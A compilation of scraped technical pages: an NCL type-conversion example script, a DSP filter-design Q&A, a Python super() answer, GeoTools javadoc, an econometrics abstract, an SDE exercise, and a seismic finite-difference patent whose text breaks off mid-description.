67, 68/)\na@T = \"string\"\na@_FillValue = 65\nb = longtobyte(a)\nprint (b)\ndelete(a)\ndelete(b)\n;\n; The missing value of the target variable is retained if\n; the missing value of the original variable is out of\n; the range of the target variable. Note that this can\n; turn a value that is not a missing value in the original\n; variable into a missing value in the target variable if\n; a value in the original variable equals the missing value\n; in the target variable.\n;\na = new(3,long)\na = (/ 66, 67, 68/)\na@_FillValue = 40000\nb = new(3,byte,integertobyte(65))\nb = longtobyte(a)\nprint (b)\ndelete(a)\ndelete(b)\n;\n; Values to be converted that are out of the range\n; of the target variable are converted to the default missing value\n; of the target variable if neither the original variable nor\n; the target variable has a missing value specified.\n;\na = new(3,long)\ndelete(a@_FillValue)\na = (/ 66, 67, 40000/)\nb = longtobyte(a)\nprint (b)\ndelete(a)\ndelete(b)\n;\n; Values to be converted that are out of the range\n; of the target variable are converted to the missing value\n; of the original variable, if that missing value is in\n; the range of the target variable and the target variable\n; has no missing value specified.\n;\na = new(3,long)\na = (/ 66, 67, 40000/)\na@_FillValue = 65\nb = longtobyte(a)\nprint (b)\ndelete(a)\ndelete(b)\n;\n; Values to be converted that are out of the range\n; of the target variable are converted to the default missing value\n; of the target variable if the missing value of the\n; original variable is out of the range of the target variable\n; and the target variable has no missing value specified.\n;\na = new(3,long)\na@_FillValue = 40000\na = (/ 66, 67, 50000/)\nb = longtobyte(a)\nprint (b)\ndelete(a)\ndelete(b)\n;\n; If the target variable has no missing value\n; specified and the original variable does, the missing\n; value of the target variable inherits the missing value of the\n; original variable and the missing values\n; of the original variable are retained in\n; the target variable.\n;\na = new(3,long)\na = (/ 66, 67, 65/)\na@_FillValue = 65\nb = longtobyte(a)\nprint (b)\ndelete(a)\ndelete(b)\n;\n; If the target variable has a missing\n; value specified and the original variable\n; has a missing value specified, the missing\n; value of the target variable is retained\n; even when the missing value of the original\n; variable is in the range of the type of the\n; target variable. Missing values in the\n; original variable are converted to the\n; missing value of the target variable.\n;\na = new(3,long)\na = (/ 66, 67, 65/)\na@_FillValue = 65\nb = new(3,byte,integertobyte(68))\nb = longtobyte(a)\nprint (b)\ndelete(a)\ndelete(b)\nend\n\n```"
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"http://ncl.ucar.edu/Images/NCL_NCAR_NSF_banner.png",
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https://dsp.stackexchange.com/questions/64858/analytic-solution-for-non-flat-filter-design | [
"# Analytic solution for non-flat filter design\n\nI'm trying to write an accelerometer calibration script that uses filters to convert from volts into $$m/s^2$$. As accelerometers tend to have non-flat response curves, this means I have to design a rather complex filter. I'm not worried about phase, as I can just apply the filter twice in opposing directions to correct for any phase offsets (like matlab's filtfilt), so the focus is on designing a filter that approximates a user-provided magnitude curve.\n\nIdeally, the user provides a calibration curve as input into an analytic algorithm to solve for the best fitting filter poles.\n\nI'm aware MATLAB has a filter design function, but I don't know what the underlying algorithm is (if its an optimizer, or a closed form solution).\n\nSo my question is...\n\n• Is there an analytic solution to my filter design problem? Or do I have to use optimisation scripts to get the best filter?\n\nI'm not mentioning programming language here, as I want to understand the underlying math behind this.\n\n• Okay... I think I answered my own question. What I was searching for is essentially linear-phase FIR filter design by least squares. This document seems to cover the theory behind it. – RTbecard Mar 26 '20 at 14:17\n• Another easy simple method to do this is to populated a large FFT grid with your target amplitude, do an inverse FFT and then time window or gate the impulse response to the desired accuracy. – Hilmar Mar 26 '20 at 15:56\n• @Hilmar, that sounds great! I'm guessing the benefit of the least squares approach is that I can force the design of a linear phase filter... but if I use the filtfilt approach to applying my filter, this would not be a concern for me, and it would result in a more accurately matched spectrum magnitude. If you post this as an answer (and i verify it works as expected), I'll accept it. – RTbecard Mar 27 '20 at 11:09\n\n• Reading into this more... The difference between this answers suggestion and Hilmar's comment above (just do an ifft of the desired response), is that the method proposed here (Matlab's fir2) applies a window function to reduce rippling in the frequency response after the ifft. Otherwise, the methods are the same. This answer goes into detail on how the windowing affects the filter. – RTbecard Apr 16 '20 at 11:54"
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https://proactiveprogrammers.com/discrete-structures/introduction-discrete-structures/ | [
"# Introduction¶\n\nQuote\n\n\"The mathematics of modern computer science is built almost entirely on discrete mathematics, in particular combinatorics and graph theory.\" David Patrick for the Art of Problem Solving in Why Discrete Mathematics is Important\n\nWhen software engineers design and implement computer programs, they use, for instance, higher-order, lambda, and generating functions to create and manipulation of discrete structures (e.g., numbers, lists, and dictionaries) that have distinct values. When engineers describe a discrete structure using formal mathematical notation, it better enables them to see both the trade-offs in the structure's design and implementation and the connection between one structure and another. As pointed out by the The Art of Problem Solving team in the article Why Discrete Mathematics is Important, \"the mathematics of modern computer science is built almost entirely on discrete mathematics.\" This course will give you a foundation in both programming and discrete mathematics!\n\nIn the context of Python programming, this course teaches you how to use functions and the discrete structures that form their input and output. Leveraging this knowledge of discrete structures and functions, you will learn how to read and translate concepts expressed in natural language, formal mathematical notation, and Python programs. Positioning you for successful work in both theoretical and practical computer science, this course imparts to a learner an applied understanding of topics like Boolean logic, set theory, and probability theory. You will combine your knowledge of the aforementioned topics as you specify, design, document, implement, and test Python programs that employ the best practices for efficiency, correctness, and understandability.\n\nLet's first proactively explore the learning objectives for a course in discrete structures!\n\nUpdated: 2021-09-02 Created: 2021-08-12\nCreate an issue with feedback about \"Introduction\"\nCheck out all the exciting topics covered on this site"
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https://docs.geotools.org/latest/javadocs/org/geotools/data/util/ScreenMap.html | [
"org.geotools.data.util\n\n## Class ScreenMap\n\n• ```public class ScreenMap\nextends Object```\nThe screenmap is a packed bitmap of the screen, one bit per pixels. It can be used to avoid rendering a lot of very small features in the same pixel.\n\nThe screenmap can be used two ways:\n\nWhen checkAndSet returns false the geometry sits in a pixel that has been already populated and can be skipped.\nAuthor:\njeichar, Andrea Aime - OpenGeo\n• ### Constructor Summary\n\nConstructors\nConstructor and Description\n```ScreenMap(int x, int y, int width, int height)```\n```ScreenMap(int x, int y, int width, int height, MathTransform mt)```\n```ScreenMap(ScreenMap original, int expandBy)```\n• ### Method Summary\n\nAll Methods\nModifier and Type Method and Description\n`boolean` `canSimplify(Envelope envelope)`\n`boolean` `checkAndSet(Envelope envelope)`\n`boolean` ```checkAndSet(int x, int y)```\nChecks if the geometry should be skipped.\n`boolean` `get(Envelope envelope)`\n`boolean` ```get(int x, int y)```\nReturns true if the pixel at location x,y is set or out of bounds.\n`Geometry` ```getSimplifiedShape(double minx, double miny, double maxx, double maxy, GeometryFactory geometryFactory, Class geometryType)```\nReturns geometry suitable for rendering the pixel that has just been occupied.\n`Geometry` `getSimplifiedShape(Geometry geometry)`\nReturns geometry suitable for rendering the pixel that has just been occupied.\n`void` ```set(int x, int y, boolean value)```\nSets location at position x,y to the value.\n`void` ```setSpans(double spanX, double spanY)```\n`void` `setTransform(MathTransform mt)`\n• ### Methods inherited from class Object\n\n`clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait`\n• ### Constructor Detail\n\n• #### ScreenMap\n\n```public ScreenMap(int x,\nint y,\nint width,\nint height,\nMathTransform mt)```\n• #### ScreenMap\n\n```public ScreenMap(ScreenMap original,\nint expandBy)```\n• #### ScreenMap\n\n```public ScreenMap(int x,\nint y,\nint width,\nint height)```\n• ### Method Detail\n\n• #### setTransform\n\n`public void setTransform(MathTransform mt)`\n• #### checkAndSet\n\n```public boolean checkAndSet(Envelope envelope)\nthrows TransformException```\nThrows:\n`TransformException`\n• #### canSimplify\n\n`public boolean canSimplify(Envelope envelope)`\n• #### setSpans\n\n```public void setSpans(double spanX,\ndouble spanY)```\n• #### checkAndSet\n\n```public boolean checkAndSet(int x,\nint y)```\nChecks if the geometry should be skipped. If the test returns true it means the geometry sits in a pixel that has already been used\n• #### get\n\n```public boolean get(Envelope envelope)\nthrows TransformException```\nThrows:\n`TransformException`\n• #### get\n\n```public boolean get(int x,\nint y)```\nReturns true if the pixel at location x,y is set or out of bounds.\n• #### getSimplifiedShape\n\n`public Geometry getSimplifiedShape(Geometry geometry)`\nReturns geometry suitable for rendering the pixel that has just been occupied. The geometry is designed to actually fill the pixel\n• #### getSimplifiedShape\n\n```public Geometry getSimplifiedShape(double minx,\ndouble miny,\ndouble maxx,\ndouble maxy,\nGeometryFactory geometryFactory,\nClass geometryType)```\nReturns geometry suitable for rendering the pixel that has just been occupied. The geometry is designed to actually fill the pixel\n• #### set\n\n```public void set(int x,\nint y,\nboolean value)```\nSets location at position x,y to the value."
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https://yiister.ru/tag/python/6754541/using-super-in-nested-classes | [
"# [ACCEPTED]-Using super() in nested classes-super\n\nScore: 20\n\nI'm not sure why A.B is not working correctly 2 for you, as it should.. Here's some shell 1 output that works:\n\n``````>>> class A(object):\n... class B(object):\n... def __init__(self):\n... super(A.B, self).__init__()\n... def getB(self):\n... return A.B()\n...\n>>> A().getB()\n<__main__.B object at 0x100496410>\n``````\nScore: 5\n\nSince B will likely never be extended itself, this 1 should work:\n\n``````class A(object):\nclass B(object):\ndef __init__(self):\nsuper(self.__class__, self).__init__()\n``````\nScore: 2\n\nIf the class A.B is unlikely to participate 9 in any multiple inheritance, then you're 8 better off just hard-coding the constructor 7 call:\n\n``````class A(object):\nclass B(object):\ndef __init__(self):\nobject.__init__(self)\n``````\n\nBut if you really do need to have the 6 full power of super, then you can get what 5 you want by defining a custom descriptor 4 that will initialize the B attribute lazily:\n\n``````class LazyAttribute(object):\ndef __init__(self, func, *args, **kwargs):\nself._func = func\nself._args = args\nself._kwargs = kwargs\nself._value = None\n\ndef __get__(self, obj, type=None):\nif self._value is None:\nprint 'created', self._value\nself._value = self._func(*self._args, **self._kwargs)\nreturn self._value\n\nclass A(object):\nclass B(object):\ndef __init__(self):\nsuper(A.B, self).__init__()\n\nsomeattribute = LazyAttribute(B)\n``````\n\nThis 3 will cause the B attribute to be instantiated 2 the first time it's accessed, and then reused 1 thereafter:\n\n``````>>> print A.someattribute\ncreated <__main__.B object at 0x00AA8E70>\n<__main__.B object at 0x00AA8E90>\n>>> print A().someattribute\n<__main__.B object at 0x00AA8E90>\n``````"
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https://www.econometricsociety.org/publications/econometrica/1993/01/01/limiting-distribution-maximum-rank-correlation-estimator | [
"# The Limiting Distribution of the Maximum Rank Correlation Estimator\n\nhttps://doi.org/0012-9682(199301)61:1<123:TLDOTM>2.0.CO;2-J\np. 123-137\n\nRobert P. Sherman\n\nHan's maximum rank correlation (MRC) estimator is shown to be $\\sqrt n$-consistent and asymptotically normal. The proof rests on a general method for determining the asymptotic distribution of a maximization estimator, a simple $U$-statistic decomposition, and a uniform bound for degenerate $U$-processes. A consistent estimator of the asymptotic covariance matrix is provided, along with a result giving the explicit form of this matrix for any model within the scope of the MRC estimator. The latter result is applied to the binary choice model, and it is found that the MRC estimator does not achieve the semiparametric efficiency bound."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.76101685,"math_prob":0.9827644,"size":868,"snap":"2021-04-2021-17","text_gpt3_token_len":214,"char_repetition_ratio":0.11689815,"word_repetition_ratio":0.0,"special_character_ratio":0.23387097,"punctuation_ratio":0.12195122,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9719045,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-01-20T13:23:02Z\",\"WARC-Record-ID\":\"<urn:uuid:f8d14442-94da-466a-b16c-58a827cb8328>\",\"Content-Length\":\"51453\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ce42a268-6993-4485-85a3-0f0229df2fa4>\",\"WARC-Concurrent-To\":\"<urn:uuid:ee3257b1-d4db-4695-966d-82719b5145f0>\",\"WARC-IP-Address\":\"104.21.40.66\",\"WARC-Target-URI\":\"https://www.econometricsociety.org/publications/econometrica/1993/01/01/limiting-distribution-maximum-rank-correlation-estimator\",\"WARC-Payload-Digest\":\"sha1:IL3WA5MKJDXTKZDBT4OIJOVZNVUIZFA7\",\"WARC-Block-Digest\":\"sha1:NKGEVQEQW5LGFSOOPKYFUC56AJAON72X\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-04/CC-MAIN-2021-04_segments_1610703520883.15_warc_CC-MAIN-20210120120242-20210120150242-00029.warc.gz\"}"} |
https://sites.duke.edu/probabilityworkbook/sde-example-quadratic-geometric-bm/ | [
"# SDE Example: quadratic geometric BM\n\nShow that the solution $$X_t$$ of\n\n$dX_t=X_t^2 dt + X_t dB_t$\n\nwhere $$X_0=1$$ and $$B_t$$ is a standard Brownian motion has the representation\n\n$X_t = \\exp\\Big( \\int_0^t X_s ds -\\frac12 t + B_t\\Big)$"
]
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http://www.freepatentsonline.com/6125330.html | [
"Title:\nMethod of determining the response caused by model alterations in seismic simulations\nUnited States Patent 6125330\n\nAbstract:\nDescribed is a finite-difference methodology for efficiently computing the seismic response from a seismic model subject to several changes within sub-volumes. Initially, the response from an original model is calculated and the wave field is recorded at receivers and along closed surfaces around the sub-volumes. As changes occur, the recorded seismograms can be updated by simulating the response on small models encompassing the immediate neighborhood of the regions of change, the recording locations, and the parts of model that contribute to subsequent reflections and scattering recorded at the receivers. The recorded wave field can then be added to the reference wave field to obtain the seismic responses of alterations to the model without having to recalculate the full altered model.\n\nInventors:\nRobertson, John Olof Anders (Histon, GB)\nChapman, Christopher H. (Great Shelford, GB)\nApplication Number:\n09/284857\nPublication Date:\n09/26/2000\nFiling Date:\n06/18/1999\nExport Citation:\nAssignee:\nSchlumberger Technology Corporation (Sugar Land, TX)\nPrimary Class:\nInternational Classes:\nG01V1/28; (IPC1-7): G01V1/28\nField of Search:\n702/14, 702/16-18, 367/72, 367/73\nView Patent Images:\nUS Patent References:\n 5648939 Method of seismic processing 1997-07-15 Folstad et al. 367/73 5481501 Method for simulating crosswell seismic data 1996-01-02 Blakeslee et al. 5394325 Robust, efficient three-dimensional finite-difference traveltime calculations 1995-02-28 Schneider, Jr. 5067113 Efficient generation of traveltime tables for two dimensional and three dimensional prestack depth migration 1991-11-19 Hanson et al. 5062086 Calculation of raypaths and wavepaths from traveltime tables for the tomographic estimation of transmission velocities 1991-10-29 Harlan et al.\n\nForeign References:\n WO1995000915A1 1995-01-05 METHOD AND APPARATUS FOR SYSTEM CHARACTERIZATION AND ANALYSIS USING FINITE ELEMENT METHODS\nOther References:\nFischer, R., Lees, J. M. Shortest path ray tracing with sparse graphs Geophysics, Jul. 1993, USA, vol. 58, No. 7, pp. 987-996 XP002086253,\nPrimary Examiner:\nMcelheny Jr., Donald E.\nAttorney, Agent or Firm:\nWang, William L.\nBatzer, William B.\nClaims:\nWhat is claimed is:\n\n1. Method of determining the seismic response to seismic energy propagating through an Earth model, comprising the steps of\n\ndetermining the seismic response within an outer finite-difference grid;\n\nstoring said first response at grid points forming at least one source injection boundary enclosing a sub space of said model;\n\nchanging model parameters at grid points within said sub space so as to generate an altered Earth model;\n\nsubsequently determining a second seismic response within at least one inner finite-difference grid, said inner grid enclosing said at least one source injection boundary and being enclosed in said outer finite-difference grid, using energy propagated from said at least one source injection boundary.\n\n2. The method of claim 1, further comprising the step of adding the first and the second seismic response so as to determine a seismic response at reference points after the changing of model parameters.\n\n3. The method of claim 1, wherein the determined seismic response and a seismic response measured by a seismic receiver are compared.\n\n4. The method of claim 1, wherein the inner finite-difference grid covers a geologically significant part of the seismic model, said part lying wholly within the interior of the Earth.\n\n5. The method of claim 1, wherein the source injection boundary is closed.\n\n6. The method of claim 1, wherein the source injection boundary is a combination of source injection boundary and absorbing boundary.\n\n7. The method of claim 1, wherein the outer finite-difference grid encloses a plurality of inner finite-difference grids and/or the inner finite-difference grid encloses a plurality of injection boundaries.\n\n8. The method of claim 2, wherein the seismic response at the reference points is propagated to distant receivers through the outer finite-difference grid using Green's functions.\n\n9. The method of claim 2, wherein the seismic response at the reference points is propagated to distant receivers through the outer finite-difference grid using Green's functions, said functions being determined by an application of the reciprocity theorem.\n\n10. The method of claim 1, wherein the outer finite-difference grid is embedded in a hybrid model using a second numerical method of propagating wave energy to and/or from the boundary of said outer finite-difference grid.\n\n11. The method of claim 1, used iteratively to adapt the response of the (altered) Earth model to a measured seismic response.\n\nDescription:\n\nThe present invention relates to methods of determining the seismic response caused by alterations of a model in simulations of wave propagation. More specifically, it relates to determining the seismic response caused by model alterations in finite-difference (FD) simulations.\n\nBACKGROUND OF THE INVENTION\n\nA wide variety of seismic modeling, processing and inversion algorithms require the recalculation of the seismic response after incremental local alterations to an initial seismic finite-difference model. For example, pre-stack finite-difference migration of seismic data provides a highly accurate means of producing images of the Earth's interior. The migration algorithm consists of recalculating the finite-difference response of small local changes to the seismic model. However, full finite-difference migration is rarely performed because of computational limitations restricting migration algorithms to the use of less accurate asymptotic techniques. Another example relates to finite-difference inversion, where recalculating the finite-difference response is the core (forward modeling step) of the algorithms.\n\nYet another example which is considered as being an important area of the present invention refers to so-called time-lapse seismics (or 4-D seismics). In this application it is of interest to investigate the effects that small (local) changes to the model have on the seismic response, e.g., varying water-oil-contact levels in a producing reservoir.\n\nAlso, in forward modeling, it may be of interest to re-compute the response of an altered seismic model. Forward modeling may serve as a means of learning what effects certain features of a seismic model have on the full response. Also, as the knowledge of the model evolves, or as it becomes more refined, a simulated response may need to be updated.\n\nAnother area of interest regarding the present invention lies in Amplitude Variation with Offset (AVO) calculations, where the effects of, for instance, changes of the degree of anisotropy of a cap-rock may be the target of investigation.\n\nFurthermore, FD modeling has been used in connection with borehole measurements, simulations of tool behavior and characteristics in their operational environment. Typically, it is of interest to investigate the effects that small changes to the tool design or model parameters have on the propagation of waves in the vicinity of the tool.\n\nThe common feature of these problems is that changes to the model are often restricted to a small sub-volume, but finite-difference simulations are required for the full model with several alterations. A method that would allow full finite-difference simulations for the complete model to be corrected for these changes while only requiring calculations in the sub-volume and its neighborhood could significantly reduce the computational cost both in terms of the number of calculations and memory for storage of material parameters and variable fields.\n\nFinite-difference methods provide an accurate way of computing seismograms from complex seismic models. However, as mentioned above, the finite-difference simulations tend to become prohibitively expensive to run on even state-of-the-art computing equipment. Therefore, different approaches have been taken to make highly accurate numerical modeling methods such as finite-difference schemes more efficient. Two major directions of effort to achieve significant computational savings can be found in the literature: (1) hybrid techniques; and (2) grid-refinement techniques.\n\nBy combining methods appropriate for different wave propagation regimes, it is possible to increase computational efficiency as well as the simulation accuracy considerably. For details of such an approach, reference is made to Wu, R. S. and R. Aki, 1988, Introduction: Seismic wave scattering in three-dimensionally heterogeneous Earth, in: Scattering and Attenuation of Seismic Waves, edited by K. Aki and R. S. Wu, pp. 1-6. Birkhauser Verlag, Basel, Switzerland. Several such hybrid techniques have been developed for seismic applications. For example, a ray method can be used to propagate energy over long distances into an acoustic finite-difference grid at the scattering site. Also described are elastic methods combining boundary integral and finite-difference techniques. The hybridization, i.e. the interchange of wave fields between the methods, is based on Green's theorem. Stead and Helmberger (Stead, R. J. and D. V. Helmberger, 1988, Numerical-analytical interfacing in two dimensions with applications to modeling NTS seismograms, in: Scattering and Attenuation of Seismic Waves, see above, pp. 157-193) achieved the numerical propagation of an elastic wave field by means of the Kirchhoff integral by partitioning the wave field into separate compressional and shear components before integration.\n\nEmmerich (Emmerich, H., PSV-wave propagation in a medium with local heterogeneities: a hybrid formulation and its application, Geophys. J. Int. 109, 54-64 (1992)) combined a reflectivity solution with a viscoelastic finite-difference scheme. The technique is efficient because it assumes that the scattering targets are overlain by stratified media. A hybrid technique can also be based on a reflectivity and a pseudo-spectral scheme to solve anelastic scattering problems.\n\nThe use of hybrid-FD schemes in borehole seimics is described by Kurkjian, A. L., R. T. Coates, J. E. White and H. Schmidt, Finite-difference and frequency-wavenumber modeling of seismic monopole sources and receivers in fluid-filled boreholes, Geophysics 59(1994), 1053-1064. The authors model sources and receivers in the presence of boreholes by interfacing a frequency-wavenumber method with a finite-difference scheme.\n\nRobertsson et al. introduced an integrated Gaussian-beam technique with viscoelastic finite differences and a Kirchhoff method to simulate deep ocean seafloor scattering experiments (a hybrid technique referred to as HARVEST (Hybrid Adaptive Regime Visco-Elastic Simulation Technique), see Robertsson, J. O. A., J. O. Blanch and W. W. Symes, Viscoelastic finite-difference modeling, Geophysics 59(1994), 1444-1456; Robertsson, J. O. A., A. Levander and K. Holliger, Modeling of the Acoustic Reverberation Special Research Program deep ocean seafloor scattering experiments using a hybrid wave propagation simulation technique, J. Geophys. Res. 101(1996), 3085-3101 and (by the same authors) A hybrid wave propagation simulation technique for ocean acoustic problems, in: J. Geophys. Res. 101(1996), 11225-11241.\n\nIn inserting a wave field inside a finite-difference grid, there have generally been two approaches taken. Either, as was described by Alterman, Z. and F. C. Karal, Propagation of elastic waves in layered media by finite difference methods, Bull. Seis. Soc. Am. 58(1968) 367-398, the source wave field is inserted along a closed boundary inside the finite-difference grid so that the source wave field radiates out from it into the main part of the grid. The other approach has been to insert the wave field along a line inside a finite-difference grid which leads to artificial edge diffractions but allows coupling of different simulation methods (see for example Robertsson et al., J. Geophys. Res. 101(1996), 11225-11241).\n\nBased on the above, Zahradnik, J. and P. Moczo, in: Hybrid seismic modeling based on discrete-wave number and finite-difference methods, Pure Appl. Geophys.148(1996), 21-38, inserted the source wave field along an open boundary bounded by a free surface (reflecting) at one side. The source wave field is calculated by an FD method using a homogeneous background medium. The FD calculation was repeated within the open boundaries after introducing a shallow basin into the homogeneous background. While including steps also found in the present invention, Zahradnik and Moczo used the known method solely to verify a hybrid (DW-FD) technique for earthquake seismology.\n\nWith respect to the second major direction of efforts to achieve significant computational savings, i.e., grid-refinement techniques, there are two constraints which limit finite-difference calculations. Those are the shortest wavelengths that occur in the simulation model and the complexity of the model. A maximum grid-step size to achieve a sufficiently accurate solution is constrained by either of these two conditions. By applying a finer grid in the parts of the model where the lowest seismic velocities or the highest structural complexity occur, a computationally efficient solution may be obtained. The complicated issue here is how to connect the different finite-difference grids to each other without introducing artificial boundary reflections.\n\nMcLaughlin, K. L. and S. M. Day in: 3D elastic finite-difference seismic-wave simulations, Computers in Physics 8(1994), 656-663, describe a three-dimensional (3-D) finite-difference grid-refinement technique based on viewing the entire grid as a tree structure of sub-grids with various discretizations.\n\nIn view of the above cited prior art it is an object of the invention to provide methods for improving the efficiency of seismic wave-field calculation. It is a more specific object of the invention to improve the efficiency and applicability of finite-difference methods for seismic exploration techniques, particularly for techniques which employ models subject to alteration(s).\n\nSUMMARY OF THE INVENTION\n\nThe objects of the invention are achieved by methods and apparatus as set forth in the appended independent claims.\n\nThe present invention provides a method for efficiently computing the seismic response from a seismic model subject to one or a plurality of changes within a sub-set of said model. A seismic response is defined as a reconstruction of the motion of seismic energy stemming from at least one controlled source and recorded at one or a plurality of separate locations (recording points). For the purpose of the present invention, seismic energy includes acoustic, elastic and/or electromagnetic energy traveling through Earth formations. A seismic model is defined as a model of the Earth taking the form of one or more parameters defined for a discrete set of coordinates in space or in space and time. A subset is defined as a number of coordinates, said number being significantly smaller than the total number of coordinates of the model.\n\nWhen applying finite-difference (FD) methods, the discrete set of coordinates is known as a grid. The FD method further comprises defining a finite-difference operator and boundary conditions. The FD operator is used to numerically propagate the energy through the grid in accordance with the parameter values at each grid point. In general, the FD operator is a finite difference approximation of one or a set of wave equations which describe the temporal distribution of energy (wave field) in the model. For the purpose of the present invention, FD operators include pseudo-spectral methods, finite-element methods (FEM), wavelet based methods, or other methods based on spatial discretization of the seismic model. In a preferred embodiment of the invention, the same FD operator is applied to the seimic model including the subset. However, a slightly modified FD operator might be used for the subset, provided that the modification of the FD operator does not create noticeable artifacts at the boundary between the subset and the other parts of the model.\n\nThe invention comprises the step of calculating the seismic response of the model using an FD method. The calculated response is stored generally in form of a time series or vector for a set of grid points. Furthermore the invention comprises the step of defining a boundary around a subset of the model. The boundary is preferably of a source injection type, but could include a combination of source injection type boundaries with absorbing boundary conditions.\n\nThe source injection boundary is characterized by firstly inserting a previously recorded wave field along the boundary and secondly canceling the outwardly propagating wave field, where this wave field is identical to the previously recorded wave field. The source injection step is therefore characterized by suppressing the propagation of energy from the interior, through the boundary and into the exterior. In other words, the suppression ensures that, when performing the FD recalculating on an unaltered subset, the field outside the subset is ideally zero, i.e., the stored field and the recalculated field cancel each other. Hence, outside the source injection boundary, the FD recalculation is limited to energy which is scattered or reflected within the subset due the changes of the model. In the following description, the scattered or reflected energy will be referred to as scattered wave field.\n\nWithin this subset, the model parameters are changed. After altering the subset, the seismic response of the subset is recalculated. This recalculation is initiated along the source injection boundary of the subset by loading the stored vectors for the grid points at that boundary. The recalculation is not restricted to the subset within the source injection boundary but does not involve the full FD grid. Instead the recalculation is restricted to an inner FD grid. The size of this inner FD grid is determined by a) the available computational resources and by b) the aim to include all geophysically significant parts of the model. Geophysically significant parts are those parts of the model which are likely to scatter or reflect a significant amount of the scattered wave field back to reference points where the wave field is recorded (see below). The radius or size of the inner FD grid can be chosen with respect to two-way travel times so as to get exact responses for first arrivals and a predetermined time window.\n\nIn variants of the invention, one full or outer FD grid may comprise several inner FD grids, which in turn may enclose several distinct and separate subsets each limited by a source injection boundary.\n\nIn a preferred embodiment of the invention, the scattered wave field is further recorded at predetermined positions (reference points) within the model. The location of the reference points is within the FD model space. When the wave field is to be propagated to receivers either within or outside the FD model space, the reference points are ideally located at positions along the path along which energy travels from the subset to the receivers.\n\nThe introduction of reference points or planes, though not necessary in basic variants of the invention, facilitates the propagation or extrapolation of the wave field to distant receiver locations. Receiver locations and reference points or planes will be separated by parts of the seismic model commonly referred to as \"overburden\", i.e., Earth formation or layers which are usually modeled with reduced accuracy or complexity. A considerable amount of computational savings can be realized by using propagator functions, such as Green's functions, between the reference points or plane and the distant receivers. Propagator functions can be derived through various numerical modeling techniques. Hence this specific aspect of the invention is applicable to seismic models where the overburden is modeled by a FD scheme, ray path methods, or any other known technique. Therefore it is advantageous to use reference points or planes in combination with hybrid techniques where the FD scheme is part of a larger seismic model.\n\nA particular advantageous method involves the step of determining propagator functions for the path between the reference points or plane and the distant receivers. This step comprises replacing the distant receivers in the model by impulsive sources and calculating the response at the reference points or plane, using preferably an FD method. From this calculation the propagator functions from the reference points to the distant receivers can be obtained by application of the reciprocity theorem. This step is attractive as it maintains the high accuracy of the FD approach as compared to asymptotic (ray tracing) techniques whilst reducing the computational cost of propagating the wave energy through the full FD grid.\n\nThese and other features of the invention, preferred embodiments and variants thereof, and further advantages of the invention will become appreciated and understood by those skilled in the art from the detailed description and drawings following below.\n\nBRIEF DESCRIPTION OF DRAWINGS\n\nFIG. 1 shows a simplified model for an application of a finite-difference calculation in accordance with the invention.\n\nFIG. 2 shows a flow chart summarizing important steps of a finite-difference calculation in accordance with the invention.\n\nFIG. 3 depicts the vicinity of a staggered finite-difference grid cell used in an application of the present invention.\n\nFIG. 4 shows part of a seismogram generated from a seismic model through a conventional finite-difference calculation before alteration of the model.\n\nFIG. 5 shows the analogous seismogram of FIG. 4 generated by a conventional finite-difference calculation performed after alteration of the model.\n\nFIG. 6 shows the analogous seismogram of FIG. 5 generated by a reduced finite-difference calculation in accordance with the present invention performed after alteration of the model.\n\nFIG. 7 shows the difference between the seismograms of FIG. 4 and 5.\n\nFIG. 8 shows the analogous seismogram of FIG. 7 directly calculated using a method in accordance with the present invention.\n\nFIG. 9 shows the difference between the seismograms of FIG. 7 and 8.\n\nMODE(S) FOR CARRYING OUT THE INVENTION\n\nThe major steps of the following example are illustrated by a drawing (FIG. 1) and a flow diagram (FIG. 2).\n\nIn FIG. 1, there is shown a (simplified) two dimensional finite-difference Earth model 10. The FD model comprise a boundary 101 and several strata 102. The boundary can be designed for example as absorbing, reflecting or mixed. At the surface layer 103, the location of a source 11 and of receivers 12 is marked by a solid star and triangles, respectively. For the purpose of this example, the number of receivers is restricted to two. Most of the strata 102 form an overburden of comparatively flat layers. The deeper layers, however, are interrupted by an almost vertical fault 104, thus forming a potential trap 105 for hydrocarbons. A second (inner) boundary 106 encloses this potential trap 105 together with the remainder of a subset 107 and an injection boundary 108. Within this sub space 107, the model is changed during subsequent steps as described below. Further within the inner boundary 106 lies an array of reference points 109.\n\nThe seismic model can be represented by an initial material parameter vector M0 which assigns materials properties to each grid point within the boundary 101. The described seismic model consists of three material properties that are defined in each grid-point: the Lame parameters λ(x,z) and μ(x,z), and the density ρ(x,z). Other applications of the invention may make use of a different set of parameters, such as stiffness matrices, Q values, or(for electromagnetic wave fields) conductivity, permeabilities, or dielectric properties.\n\nReferring now to the flow diagram of FIG. 2, in a first step of the example an FD calculation over the full model is performed using conventional methods. In the example an explosive type 40 Hz Ricker wavelet is used as source 11. The wave energy is propagated using a staggered finite-difference scheme to solve the first order partial differential equations for stress and particle velocity describing isotropic elastic wave propagation in the 2-D Cartesian grid (x,z): ##EQU1##\n\nIn equations , σxx (x,z,t), σzz (x,z,t) and σxz (x,z,t) are the components of the stress tensor, and vx (x,z,t) and vx (x,z,t) are the particle velocity components. The stresses and the particle velocities comprise the wave field and are discretized functions of both time and space. Due to the staggering they are not defined in exactly the same locations, but are shifted with respect to each other both in time and space, as is illustrated by the FD cell of FIG. 3.\n\nAn analogous set of equations can be applied to other forms of wave propagation, such as ground-penetrating radar (Maxwell's equations) as described for example by T. Bergmann, J. O. A. Robertsson, K. Holliger in: Geophys. Res. Lett., 23, No. 1, 45-48 (1996).\n\nThe normal stresses σxx and σzz have the same location in each grid cell. The shear stress component σxz is staggered by half a grid-step in both the x- and z-directions with respect to the normal stresses. The vx component is staggered half a grid-step in the z-direction from the normal stresses, whereas the vx component is staggered half a grid-step in the x-direction. All stresses are defined at the same levels in time, whereas the particle velocities are staggered with half a time step with respect to the stresses.\n\nA leap-frog scheme is used to update the stresses and particle velocities in time and a fourth-order accurate centered scheme is used for approximating the spatial derivatives. A more complete description of this family of finite-difference schemes has been presented by Robertsson, J. O. A., J. O. Blanch and W. W. Symes, Viscoelastic finite-difference modeling, Geophysics 59(1994), 1444-1456.\n\nThe finite-difference 